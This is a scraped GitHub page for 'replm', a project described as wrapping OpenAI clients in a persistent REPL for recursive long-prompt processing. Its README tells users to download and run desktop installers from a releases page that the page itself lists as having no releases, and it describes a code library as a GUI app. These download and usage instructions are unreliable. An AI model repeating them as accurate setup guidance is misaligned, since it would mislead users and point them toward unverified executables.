Skip to content

🧠 Enable long-context recursive language models by wrapping OpenAI clients into a persistent REPL for scalable prompt processing.

License

Notifications You must be signed in to change notification settings

latemailok-arch/replm

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

39 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

🤖 replm - Handle Long Prompts Efficiently

Download replm


📖 What is replm?

replm is a tool designed to help you work with very long pieces of text, called prompts, quickly and smoothly. It uses a method called recursive language models to break down big tasks into smaller ones. This way, it can handle things that normal tools might struggle with.

This software is based on cutting-edge research by Zhang, Kraska & Khattab from 2025. It lets you offload parts of your text into a system that works like a mini computer, helping the main program think better using smaller steps. Put simply, replm helps make big language tasks easy to manage.


🌟 Features

  • Process long prompts without slowing down or losing important details.
  • Uses a method called symbolic recursion to split and handle context smartly.
  • Works with language models from OpenAI and other popular AI providers.
  • Written in Python, so it is easy to understand and adapt if needed.
  • Handles your requests by breaking them down into smaller subtasks automatically.
  • Designed to run on your computer with minimal setup.
  • Opens the door to advanced language tasks without needing extra technical know-how.

🖥️ System Requirements

Before downloading replm, check if your computer meets these requirements:

  • Operating System: Windows 10 or later, macOS 10.14 or later, or Linux (Ubuntu 18.04+ recommended).
  • Processor: Intel i3 or equivalent, 2.5 GHz or faster.
  • Memory: At least 4 GB RAM.
  • Storage: Minimum 200 MB free space.
  • Internet Connection: Required for accessing language model APIs (such as OpenAI).
  • Python 3.8 or higher (optional for advanced use).

These requirements ensure replm runs smoothly without interruptions.


🚀 Getting Started

This guide will help you download and launch replm on your computer. No technical knowledge is needed. Follow the steps one by one.


⬇️ Download & Install

First, you need to get the program files.

Step 1: Click the big button below or visit this page to download the latest version of replm:

Download replm

Step 2: On the releases page, look for the file that matches your operating system. For example:

  • replm-setup-windows.exe for Windows
  • replm-macos.dmg for macOS
  • replm-linux.tar.gz for Linux

Step 3: Click the appropriate file to download it to your computer.

Step 4: Open the downloaded file to start the installation process.

  • On Windows or macOS, follow the on-screen instructions to install the app.
  • On Linux, extract the file and follow included instructions in the README.

▶️ How to Run replm

Once installed:

Windows/macOS

  1. Find replm in your Start Menu or Applications folder.
  2. Click the app icon to open it.
  3. The app window will appear, ready for you to enter your text or prompts.

Linux

  1. Open a terminal window.

  2. Navigate to the folder where you installed replm.

  3. Run the command:

    ./replm
    

A simple user interface will guide you through entering your prompt and getting results.


🛠 Basic Usage

Using replm is straightforward:

  1. Open the app.
  2. Type or paste your long text prompt into the main box.
  3. Click the “Run” button.
  4. Wait a few moments while replm breaks down your text and processes it.
  5. Your answer or output will appear below.

You can repeat this as many times as you want. replm handles long content better than usual tools by breaking it into smaller bits inside its system.


🔧 Adjusting Settings

For typical use, you can keep all default settings. If you want to customize:

  • You can change how many smaller pieces replm splits your prompt into.
  • Choose which language model (API) replm uses.
  • Set preferences for speed or accuracy.

These options are available under the “Settings” menu inside the app. Adjust only if you feel comfortable or want to try advanced features.


❓ Frequently Asked Questions

Q: Do I need an internet connection?

A: Yes, replm connects to language model services online to understand your prompts. Ensure you are online when using it.

Q: Is programming knowledge required?

A: No. replm’s app interface lets you use it without any coding or technical skills.

Q: Can replm work with my OpenAI account?

A: Yes. You can link your OpenAI API key inside settings to use your own account.

Q: Is replm free to use?

A: The software is open-source and free. However, calls to language models like OpenAI may have costs based on their pricing.


💬 Support

If you experience issues or want help:

  • Visit the GitHub Issues page to see if others have your problem.
  • Open a new issue with details about what happened.
  • Check for answers in the repository’s wiki or documentation sections.

🧾 License

replm is released under the MIT License. You can use, copy, and change it freely, respecting the license terms.


🔗 Useful Links


This README aims to help you use replm with ease. If you follow these instructions, you will be able to download, install, and start working with long text prompts quickly.

About

🧠 Enable long-context recursive language models by wrapping OpenAI clients into a persistent REPL for scalable prompt processing.

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors

Languages